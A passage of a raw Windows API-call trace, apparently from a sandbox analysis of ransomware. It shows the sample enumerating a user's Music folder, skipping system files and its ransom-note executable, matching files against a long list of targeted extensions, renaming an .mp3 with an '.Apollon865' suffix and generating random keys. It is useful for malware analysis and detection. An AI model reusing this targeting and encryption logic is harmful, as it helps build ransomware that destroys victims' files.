	[0087.758] lstrcmpiW (lpString1="mp3", lpString2="sdf") returned -1
	[0087.758] lstrlenW (lpString="sis") returned 3
	[0087.758] lstrcmpiW (lpString1="mp3", lpString2="sis") returned -1
	[0087.758] lstrlenW (lpString="spq") returned 3
	[0087.758] lstrcmpiW (lpString1="mp3", lpString2="spq") returned -1
	[0087.758] lstrlenW (lpString="te") returned 2
	[0087.758] lstrcmpiW (lpString1="p3", lpString2="te") returned -1
	[0087.758] lstrlenW (lpString="teacher") returned 7
	[0087.758] lstrcmpiW (lpString1="J-D.mp3", lpString2="teacher") returned -1
	[0087.758] lstrlenW (lpString="tmd") returned 3
	[0087.758] lstrcmpiW (lpString1="mp3", lpString2="tmd") returned -1
	[0087.758] lstrlenW (lpString="tps") returned 3
	[0087.758] lstrcmpiW (lpString1="mp3", lpString2="tps") returned -1
	[0087.758] lstrlenW (lpString="trc") returned 3
	[0087.758] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1
	[0087.758] lstrlenW (lpString="trc") returned 3
	[0087.759] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1
	[0087.759] lstrlenW (lpString="trm") returned 3
	[0087.759] lstrcmpiW (lpString1="mp3", lpString2="trm") returned -1
	[0087.759] lstrlenW (lpString="udb") returned 3
	[0087.759] lstrcmpiW (lpString1="mp3", lpString2="udb") returned -1
	[0087.759] lstrlenW (lpString="udl") returned 3
	[0087.759] lstrcmpiW (lpString1="mp3", lpString2="udl") returned -1
	[0087.759] lstrlenW (lpString="usr") returned 3
	[0087.759] lstrcmpiW (lpString1="mp3", lpString2="usr") returned -1
	[0087.759] lstrlenW (lpString="v12") returned 3
	[0087.759] lstrcmpiW (lpString1="mp3", lpString2="v12") returned -1
	[0087.759] lstrlenW (lpString="vis") returned 3
	[0087.759] lstrcmpiW (lpString1="mp3", lpString2="vis") returned -1
	[0087.759] lstrlenW (lpString="vpd") returned 3
	[0087.759] lstrcmpiW (lpString1="mp3", lpString2="vpd") returned -1
	[0087.759] lstrlenW (lpString="vvv") returned 3
	[0087.759] lstrcmpiW (lpString1="mp3", lpString2="vvv") returned -1
	[0087.759] lstrlenW (lpString="wdb") returned 3
	[0087.759] lstrcmpiW (lpString1="mp3", lpString2="wdb") returned -1
	[0087.759] lstrlenW (lpString="wmdb") returned 4
	[0087.759] lstrcmpiW (lpString1=".mp3", lpString2="wmdb") returned -1
	[0087.759] lstrlenW (lpString="wrk") returned 3
	[0087.759] lstrcmpiW (lpString1="mp3", lpString2="wrk") returned -1
	[0087.759] lstrlenW (lpString="xdb") returned 3
	[0087.759] lstrcmpiW (lpString1="mp3", lpString2="xdb") returned -1
	[0087.759] lstrlenW (lpString="xld") returned 3
	[0087.759] lstrcmpiW (lpString1="mp3", lpString2="xld") returned -1
	[0087.760] lstrlenW (lpString="xmlff") returned 5
	[0087.760] lstrcmpiW (lpString1="D.mp3", lpString2="xmlff") returned -1
	[0087.760] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\4OGtqwJ-D.mp3.Apollon865") returned 70
	[0087.760] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\4OGtqwJ-D.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\4ogtqwj-d.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\4OGtqwJ-D.mp3.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\4ogtqwj-d.mp3.apollon865"), dwFlags=0x1) returned 1
	[0087.761] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\4OGtqwJ-D.mp3.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\4ogtqwj-d.mp3.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.762] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=15011) returned 1
	[0087.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0087.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0087.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0087.762] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0087.763] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.763] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.763] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3db0, lpName=0x0) returned 0x15c
	[0087.763] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3db0) returned 0x100000
	[0087.764] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0087.764] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.764] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.765] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0087.765] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0087.765] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0087.765] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0087.765] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0087.765] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0087.765] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0087.765] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0087.765] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0087.765] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0087.765] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0087.766] CloseHandle (hObject=0x15c) returned 1
	[0087.766] CloseHandle (hObject=0x9c) returned 1
	[0087.767] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0087.767] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0087.767] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0087.767] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabb2dcc0, ftCreationTime.dwHighDateTime=0x1d4c56d, ftLastAccessTime.dwLowDateTime=0x3039c6d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3039c6d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="A4JJDXZF6um92en", cAlternateFileName="A4JJDX~1")) returned 1
	[0087.767] lstrcmpiW (lpString1="A4JJDXZF6um92en", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0087.767] lstrcmpiW (lpString1="A4JJDXZF6um92en", lpString2="Apollon865.txt.exe") returned -1
	[0087.767] lstrcmpiW (lpString1="A4JJDXZF6um92en", lpString2=".") returned 1
	[0087.767] lstrcmpiW (lpString1="A4JJDXZF6um92en", lpString2="..") returned 1
	[0087.767] lstrcmpiW (lpString1="A4JJDXZF6um92en", lpString2="windows") returned -1
	[0087.767] lstrcmpiW (lpString1="A4JJDXZF6um92en", lpString2="bootmgr") returned -1
	[0087.767] lstrcmpiW (lpString1="A4JJDXZF6um92en", lpString2="temp") returned -1
	[0087.767] lstrcmpiW (lpString1="A4JJDXZF6um92en", lpString2="pagefile.sys") returned -1
	[0087.767] lstrcmpiW (lpString1="A4JJDXZF6um92en", lpString2="boot") returned -1
	[0087.767] lstrcmpiW (lpString1="A4JJDXZF6um92en", lpString2="ids.txt") returned -1
	[0087.768] lstrcmpiW (lpString1="A4JJDXZF6um92en", lpString2="ntuser.dat") returned -1
	[0087.768] lstrcmpiW (lpString1="A4JJDXZF6um92en", lpString2="perflogs") returned -1
	[0087.768] lstrcmpiW (lpString1="A4JJDXZF6um92en", lpString2="MSBuild") returned -1
	[0087.768] lstrlenW (lpString="A4JJDXZF6um92en") returned 15
	[0087.768] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\4OGtqwJ-D.mp3") returned 59
	[0087.768] lstrcpyW (in: lpString1=0x119e664, lpString2="A4JJDXZF6um92en" | out: lpString1="A4JJDXZF6um92en") returned="A4JJDXZF6um92en"
	[0087.768] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a48
	[0087.768] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7c) returned 0x5bf9a8
	[0087.768] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7a50 | out: ListHead=0x5b75f0, ListEntry=0x5b7a50) returned 0x5b7ad0
	[0087.768] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30304150, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x30304150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0087.768] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0087.768] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc43bc9a0, ftCreationTime.dwHighDateTime=0x1d4cb03, ftLastAccessTime.dwLowDateTime=0x3039c6d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3039c6d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Hzmu", cAlternateFileName="")) returned 1
	[0087.768] lstrcmpiW (lpString1="Hzmu", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0087.768] lstrcmpiW (lpString1="Hzmu", lpString2="Apollon865.txt.exe") returned 1
	[0087.768] lstrcmpiW (lpString1="Hzmu", lpString2=".") returned 1
	[0087.768] lstrcmpiW (lpString1="Hzmu", lpString2="..") returned 1
	[0087.768] lstrcmpiW (lpString1="Hzmu", lpString2="windows") returned -1
	[0087.768] lstrcmpiW (lpString1="Hzmu", lpString2="bootmgr") returned 1
	[0087.768] lstrcmpiW (lpString1="Hzmu", lpString2="temp") returned -1
	[0087.768] lstrcmpiW (lpString1="Hzmu", lpString2="pagefile.sys") returned -1
	[0087.768] lstrcmpiW (lpString1="Hzmu", lpString2="boot") returned 1
	[0087.768] lstrcmpiW (lpString1="Hzmu", lpString2="ids.txt") returned -1
	[0087.768] lstrcmpiW (lpString1="Hzmu", lpString2="ntuser.dat") returned -1
	[0087.768] lstrcmpiW (lpString1="Hzmu", lpString2="perflogs") returned -1
	[0087.768] lstrcmpiW (lpString1="Hzmu", lpString2="MSBuild") returned -1
	[0087.768] lstrlenW (lpString="Hzmu") returned 4
	[0087.768] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\A4JJDXZF6um92en") returned 61
	[0087.768] lstrcpyW (in: lpString1=0x119e664, lpString2="Hzmu" | out: lpString1="Hzmu") returned="Hzmu"
	[0087.768] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0087.768] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x66) returned 0x5afce8
	[0087.768] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7b10 | out: ListHead=0x5b75f0, ListEntry=0x5b7b10) returned 0x5b7a50
	[0087.768] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a5f2ca0, ftCreationTime.dwHighDateTime=0x1d4d3c4, ftLastAccessTime.dwLowDateTime=0xb5f9a580, ftLastAccessTime.dwHighDateTime=0x1d4cf2a, ftLastWriteTime.dwLowDateTime=0xb5f9a580, ftLastWriteTime.dwHighDateTime=0x1d4cf2a, nFileSizeHigh=0x0, nFileSizeLow=0xe697, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="iYqZqnYSZJSi5_37Zw.mp3", cAlternateFileName="IYQZQN~1.MP3")) returned 1
	[0087.768] lstrcmpiW (lpString1="iYqZqnYSZJSi5_37Zw.mp3", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0087.769] lstrcmpiW (lpString1="iYqZqnYSZJSi5_37Zw.mp3", lpString2="Apollon865.txt.exe") returned 1
	[0087.769] lstrcmpiW (lpString1="iYqZqnYSZJSi5_37Zw.mp3", lpString2=".") returned 1
	[0087.769] lstrcmpiW (lpString1="iYqZqnYSZJSi5_37Zw.mp3", lpString2="..") returned 1
	[0087.769] lstrcmpiW (lpString1="iYqZqnYSZJSi5_37Zw.mp3", lpString2="windows") returned -1
	[0087.769] lstrcmpiW (lpString1="iYqZqnYSZJSi5_37Zw.mp3", lpString2="bootmgr") returned 1
	[0087.769] lstrcmpiW (lpString1="iYqZqnYSZJSi5_37Zw.mp3", lpString2="temp") returned -1
	[0087.769] lstrcmpiW (lpString1="iYqZqnYSZJSi5_37Zw.mp3", lpString2="pagefile.sys") returned -1
	[0087.769] lstrcmpiW (lpString1="iYqZqnYSZJSi5_37Zw.mp3", lpString2="boot") returned 1
	[0087.769] lstrcmpiW (lpString1="iYqZqnYSZJSi5_37Zw.mp3", lpString2="ids.txt") returned 1
	[0087.769] lstrcmpiW (lpString1="iYqZqnYSZJSi5_37Zw.mp3", lpString2="ntuser.dat") returned -1
	[0087.769] lstrcmpiW (lpString1="iYqZqnYSZJSi5_37Zw.mp3", lpString2="perflogs") returned -1
	[0087.769] lstrcmpiW (lpString1="iYqZqnYSZJSi5_37Zw.mp3", lpString2="MSBuild") returned -1
	[0087.769] lstrlenW (lpString="iYqZqnYSZJSi5_37Zw.mp3") returned 22
	[0087.769] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\Hzmu") returned 50
	[0087.769] lstrcpyW (in: lpString1=0x119e664, lpString2="iYqZqnYSZJSi5_37Zw.mp3" | out: lpString1="iYqZqnYSZJSi5_37Zw.mp3") returned="iYqZqnYSZJSi5_37Zw.mp3"
	[0087.769] lstrlenW (lpString="iYqZqnYSZJSi5_37Zw.mp3") returned 22
	[0087.769] lstrlenW (lpString="Apollon865") returned 10
	[0087.769] lstrcmpiW (lpString1="5_37Zw.mp3", lpString2="Apollon865") returned -1
	[0087.769] lstrlenW (lpString=".dll") returned 4
	[0087.769] lstrcmpiW (lpString1="iYqZqnYSZJSi5_37Zw.mp3", lpString2=".dll") returned 1
	[0087.769] lstrlenW (lpString=".lnk") returned 4
	[0087.769] lstrcmpiW (lpString1="iYqZqnYSZJSi5_37Zw.mp3", lpString2=".lnk") returned 1
	[0087.769] lstrlenW (lpString=".ini") returned 4
	[0087.769] lstrcmpiW (lpString1="iYqZqnYSZJSi5_37Zw.mp3", lpString2=".ini") returned 1
	[0087.769] lstrlenW (lpString=".sys") returned 4
	[0087.769] lstrcmpiW (lpString1="iYqZqnYSZJSi5_37Zw.mp3", lpString2=".sys") returned 1
	[0087.769] lstrlenW (lpString="iYqZqnYSZJSi5_37Zw.mp3") returned 22
	[0087.769] lstrlenW (lpString="bak") returned 3
	[0087.769] lstrcmpiW (lpString1="mp3", lpString2="bak") returned 1
	[0087.769] lstrlenW (lpString="ba_") returned 3
	[0087.769] lstrcmpiW (lpString1="mp3", lpString2="ba_") returned 1
	[0087.769] lstrlenW (lpString="dbb") returned 3
	[0087.769] lstrcmpiW (lpString1="mp3", lpString2="dbb") returned 1
	[0087.769] lstrlenW (lpString="vmdk") returned 4
	[0087.770] lstrcmpiW (lpString1=".mp3", lpString2="vmdk") returned -1
	[0087.770] lstrlenW (lpString="rar") returned 3
	[0087.770] lstrcmpiW (lpString1="mp3", lpString2="rar") returned -1
	[0087.770] lstrlenW (lpString="zip") returned 3
	[0087.770] lstrcmpiW (lpString1="mp3", lpString2="zip") returned -1
	[0087.770] lstrlenW (lpString="tgz") returned 3
	[0087.770] lstrcmpiW (lpString1="mp3", lpString2="tgz") returned -1
	[0087.770] lstrlenW (lpString="vbox") returned 4
	[0087.770] lstrcmpiW (lpString1=".mp3", lpString2="vbox") returned -1
	[0087.770] lstrlenW (lpString="vdi") returned 3
	[0087.770] lstrcmpiW (lpString1="mp3", lpString2="vdi") returned -1
	[0087.770] lstrlenW (lpString="vhd") returned 3
	[0087.770] lstrcmpiW (lpString1="mp3", lpString2="vhd") returned -1
	[0087.770] lstrlenW (lpString="vhdx") returned 4
	[0087.770] lstrcmpiW (lpString1=".mp3", lpString2="vhdx") returned -1
	[0087.770] lstrlenW (lpString="avhd") returned 4
	[0087.770] lstrcmpiW (lpString1=".mp3", lpString2="avhd") returned -1
	[0087.770] lstrlenW (lpString="db") returned 2
	[0087.770] lstrcmpiW (lpString1="p3", lpString2="db") returned 1
	[0087.770] lstrlenW (lpString="db2") returned 3
	[0087.770] lstrcmpiW (lpString1="mp3", lpString2="db2") returned 1
	[0087.770] lstrlenW (lpString="db3") returned 3
	[0087.770] lstrcmpiW (lpString1="mp3", lpString2="db3") returned 1
	[0087.770] lstrlenW (lpString="dbf") returned 3
	[0087.770] lstrcmpiW (lpString1="mp3", lpString2="dbf") returned 1
	[0087.770] lstrlenW (lpString="mdf") returned 3
	[0087.770] lstrcmpiW (lpString1="mp3", lpString2="mdf") returned 1
	[0087.770] lstrlenW (lpString="mdb") returned 3
	[0087.770] lstrcmpiW (lpString1="mp3", lpString2="mdb") returned 1
	[0087.770] lstrlenW (lpString="sql") returned 3
	[0087.770] lstrcmpiW (lpString1="mp3", lpString2="sql") returned -1
	[0087.770] lstrlenW (lpString="sqlite") returned 6
	[0087.770] lstrcmpiW (lpString1="Zw.mp3", lpString2="sqlite") returned 1
	[0087.770] lstrlenW (lpString="sqlite3") returned 7
	[0087.770] lstrcmpiW (lpString1="7Zw.mp3", lpString2="sqlite3") returned -1
	[0087.771] lstrlenW (lpString="sqlitedb") returned 8
	[0087.771] lstrcmpiW (lpString1="37Zw.mp3", lpString2="sqlitedb") returned -1
	[0087.771] lstrlenW (lpString="xml") returned 3
	[0087.771] lstrcmpiW (lpString1="mp3", lpString2="xml") returned -1
	[0087.771] lstrlenW (lpString="$er") returned 3
	[0087.771] lstrcmpiW (lpString1="mp3", lpString2="$er") returned 1
	[0087.771] lstrlenW (lpString="4dd") returned 3
	[0087.771] lstrcmpiW (lpString1="mp3", lpString2="4dd") returned 1
	[0087.771] lstrlenW (lpString="4dl") returned 3
	[0087.771] lstrcmpiW (lpString1="mp3", lpString2="4dl") returned 1
	[0087.771] lstrlenW (lpString="^^^") returned 3
	[0087.771] lstrcmpiW (lpString1="mp3", lpString2="^^^") returned 1
	[0087.771] lstrlenW (lpString="abs") returned 3
	[0087.771] lstrcmpiW (lpString1="mp3", lpString2="abs") returned 1
	[0087.771] lstrlenW (lpString="abx") returned 3
	[0087.771] lstrcmpiW (lpString1="mp3", lpString2="abx") returned 1
	[0087.771] lstrlenW (lpString="accdb") returned 5
	[0087.771] lstrcmpiW (lpString1="w.mp3", lpString2="accdb") returned 1
	[0087.771] lstrlenW (lpString="accdc") returned 5
	[0087.771] lstrcmpiW (lpString1="w.mp3", lpString2="accdc") returned 1
	[0087.771] lstrlenW (lpString="accde") returned 5
	[0087.771] lstrcmpiW (lpString1="w.mp3", lpString2="accde") returned 1
	[0087.771] lstrlenW (lpString="accdr") returned 5
	[0087.771] lstrcmpiW (lpString1="w.mp3", lpString2="accdr") returned 1
	[0087.771] lstrlenW (lpString="accdt") returned 5
	[0087.771] lstrcmpiW (lpString1="w.mp3", lpString2="accdt") returned 1
	[0087.771] lstrlenW (lpString="accdw") returned 5
	[0087.771] lstrcmpiW (lpString1="w.mp3", lpString2="accdw") returned 1
	[0087.771] lstrlenW (lpString="accft") returned 5
	[0087.771] lstrcmpiW (lpString1="w.mp3", lpString2="accft") returned 1
	[0087.771] lstrlenW (lpString="adb") returned 3
	[0087.771] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1
	[0087.772] lstrlenW (lpString="adb") returned 3
	[0087.772] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1
	[0087.772] lstrlenW (lpString="ade") returned 3
	[0087.772] lstrcmpiW (lpString1="mp3", lpString2="ade") returned 1
	[0087.772] lstrlenW (lpString="adf") returned 3
	[0087.772] lstrcmpiW (lpString1="mp3", lpString2="adf") returned 1
	[0087.772] lstrlenW (lpString="adn") returned 3
	[0087.772] lstrcmpiW (lpString1="mp3", lpString2="adn") returned 1
	[0087.772] lstrlenW (lpString="adp") returned 3
	[0087.772] lstrcmpiW (lpString1="mp3", lpString2="adp") returned 1
	[0087.772] lstrlenW (lpString="alf") returned 3
	[0087.772] lstrcmpiW (lpString1="mp3", lpString2="alf") returned 1
	[0087.772] lstrlenW (lpString="ask") returned 3
	[0087.772] lstrcmpiW (lpString1="mp3", lpString2="ask") returned 1
	[0087.772] lstrlenW (lpString="btr") returned 3
	[0087.772] lstrcmpiW (lpString1="mp3", lpString2="btr") returned 1
	[0087.772] lstrlenW (lpString="cat") returned 3
	[0087.772] lstrcmpiW (lpString1="mp3", lpString2="cat") returned 1
	[0087.772] lstrlenW (lpString="cdb") returned 3
	[0087.772] lstrcmpiW (lpString1="mp3", lpString2="cdb") returned 1
	[0087.772] lstrlenW (lpString="ckp") returned 3
	[0087.772] lstrcmpiW (lpString1="mp3", lpString2="ckp") returned 1
	[0087.772] lstrlenW (lpString="cma") returned 3
	[0087.772] lstrcmpiW (lpString1="mp3", lpString2="cma") returned 1
	[0087.772] lstrlenW (lpString="cpd") returned 3
	[0087.772] lstrcmpiW (lpString1="mp3", lpString2="cpd") returned 1
	[0087.772] lstrlenW (lpString="dacpac") returned 6
	[0087.773] lstrcmpiW (lpString1="Zw.mp3", lpString2="dacpac") returned 1
	[0087.773] lstrlenW (lpString="dad") returned 3
	[0087.773] lstrcmpiW (lpString1="mp3", lpString2="dad") returned 1
	[0087.773] lstrlenW (lpString="dadiagrams") returned 10
	[0087.773] lstrcmpiW (lpString1="5_37Zw.mp3", lpString2="dadiagrams") returned -1
	[0087.773] lstrlenW (lpString="daschema") returned 8
	[0087.773] lstrcmpiW (lpString1="37Zw.mp3", lpString2="daschema") returned -1
	[0087.773] lstrlenW (lpString="db-journal") returned 10
	[0087.773] lstrcmpiW (lpString1="5_37Zw.mp3", lpString2="db-journal") returned -1
	[0087.773] lstrlenW (lpString="db-shm") returned 6
	[0087.773] lstrcmpiW (lpString1="Zw.mp3", lpString2="db-shm") returned 1
	[0087.773] lstrlenW (lpString="db-wal") returned 6
	[0087.773] lstrcmpiW (lpString1="Zw.mp3", lpString2="db-wal") returned 1
	[0087.773] lstrlenW (lpString="dbc") returned 3
	[0087.773] lstrcmpiW (lpString1="mp3", lpString2="dbc") returned 1
	[0087.773] lstrlenW (lpString="dbs") returned 3
	[0087.773] lstrcmpiW (lpString1="mp3", lpString2="dbs") returned 1
	[0087.773] lstrlenW (lpString="dbt") returned 3
	[0087.773] lstrcmpiW (lpString1="mp3", lpString2="dbt") returned 1
	[0087.773] lstrlenW (lpString="dbv") returned 3
	[0087.773] lstrcmpiW (lpString1="mp3", lpString2="dbv") returned 1
	[0087.773] lstrlenW (lpString="dbx") returned 3
	[0087.773] lstrcmpiW (lpString1="mp3", lpString2="dbx") returned 1
	[0087.773] lstrlenW (lpString="dcb") returned 3
	[0087.773] lstrcmpiW (lpString1="mp3", lpString2="dcb") returned 1
	[0087.773] lstrlenW (lpString="dct") returned 3
	[0087.773] lstrcmpiW (lpString1="mp3", lpString2="dct") returned 1
	[0087.773] lstrlenW (lpString="dcx") returned 3
	[0087.773] lstrcmpiW (lpString1="mp3", lpString2="dcx") returned 1
	[0087.773] lstrlenW (lpString="ddl") returned 3
	[0087.773] lstrcmpiW (lpString1="mp3", lpString2="ddl") returned 1
	[0087.773] lstrlenW (lpString="dlis") returned 4
	[0087.773] lstrcmpiW (lpString1=".mp3", lpString2="dlis") returned -1
	[0087.774] lstrlenW (lpString="dp1") returned 3
	[0087.774] lstrcmpiW (lpString1="mp3", lpString2="dp1") returned 1
	[0087.774] lstrlenW (lpString="dqy") returned 3
	[0087.774] lstrcmpiW (lpString1="mp3", lpString2="dqy") returned 1
	[0087.774] lstrlenW (lpString="dsk") returned 3
	[0087.774] lstrcmpiW (lpString1="mp3", lpString2="dsk") returned 1
	[0087.774] lstrlenW (lpString="dsn") returned 3
	[0087.774] lstrcmpiW (lpString1="mp3", lpString2="dsn") returned 1
	[0087.774] lstrlenW (lpString="dtsx") returned 4
	[0087.774] lstrcmpiW (lpString1=".mp3", lpString2="dtsx") returned -1
	[0087.774] lstrlenW (lpString="dxl") returned 3
	[0087.774] lstrcmpiW (lpString1="mp3", lpString2="dxl") returned 1
	[0087.774] lstrlenW (lpString="eco") returned 3
	[0087.774] lstrcmpiW (lpString1="mp3", lpString2="eco") returned 1
	[0087.774] lstrlenW (lpString="ecx") returned 3
	[0087.774] lstrcmpiW (lpString1="mp3", lpString2="ecx") returned 1
	[0087.774] lstrlenW (lpString="edb") returned 3
	[0087.774] lstrcmpiW (lpString1="mp3", lpString2="edb") returned 1
	[0087.774] lstrlenW (lpString="epim") returned 4
	[0087.774] lstrcmpiW (lpString1=".mp3", lpString2="epim") returned -1
	[0087.774] lstrlenW (lpString="fcd") returned 3
	[0087.774] lstrcmpiW (lpString1="mp3", lpString2="fcd") returned 1
	[0087.774] lstrlenW (lpString="fdb") returned 3
	[0087.774] lstrcmpiW (lpString1="mp3", lpString2="fdb") returned 1
	[0087.774] lstrlenW (lpString="fic") returned 3
	[0087.774] lstrcmpiW (lpString1="mp3", lpString2="fic") returned 1
	[0087.774] lstrlenW (lpString="flexolibrary") returned 12
	[0087.774] lstrcmpiW (lpString1="Si5_37Zw.mp3", lpString2="flexolibrary") returned 1
	[0087.774] lstrlenW (lpString="fm5") returned 3
	[0087.774] lstrcmpiW (lpString1="mp3", lpString2="fm5") returned 1
	[0087.774] lstrlenW (lpString="fmp") returned 3
	[0087.774] lstrcmpiW (lpString1="mp3", lpString2="fmp") returned 1
	[0087.774] lstrlenW (lpString="fmp12") returned 5
	[0087.774] lstrcmpiW (lpString1="w.mp3", lpString2="fmp12") returned 1
	[0087.774] lstrlenW (lpString="fmpsl") returned 5
	[0087.774] lstrcmpiW (lpString1="w.mp3", lpString2="fmpsl") returned 1
	[0087.775] lstrlenW (lpString="fol") returned 3
	[0087.775] lstrcmpiW (lpString1="mp3", lpString2="fol") returned 1
	[0087.775] lstrlenW (lpString="fp3") returned 3
	[0087.775] lstrcmpiW (lpString1="mp3", lpString2="fp3") returned 1
	[0087.775] lstrlenW (lpString="fp4") returned 3
	[0087.775] lstrcmpiW (lpString1="mp3", lpString2="fp4") returned 1
	[0087.775] lstrlenW (lpString="fp5") returned 3
	[0087.775] lstrcmpiW (lpString1="mp3", lpString2="fp5") returned 1
	[0087.775] lstrlenW (lpString="fp7") returned 3
	[0087.775] lstrcmpiW (lpString1="mp3", lpString2="fp7") returned 1
	[0087.775] lstrlenW (lpString="fpt") returned 3
	[0087.775] lstrcmpiW (lpString1="mp3", lpString2="fpt") returned 1
	[0087.775] lstrlenW (lpString="frm") returned 3
	[0087.775] lstrcmpiW (lpString1="mp3", lpString2="frm") returned 1
	[0087.775] lstrlenW (lpString="gdb") returned 3
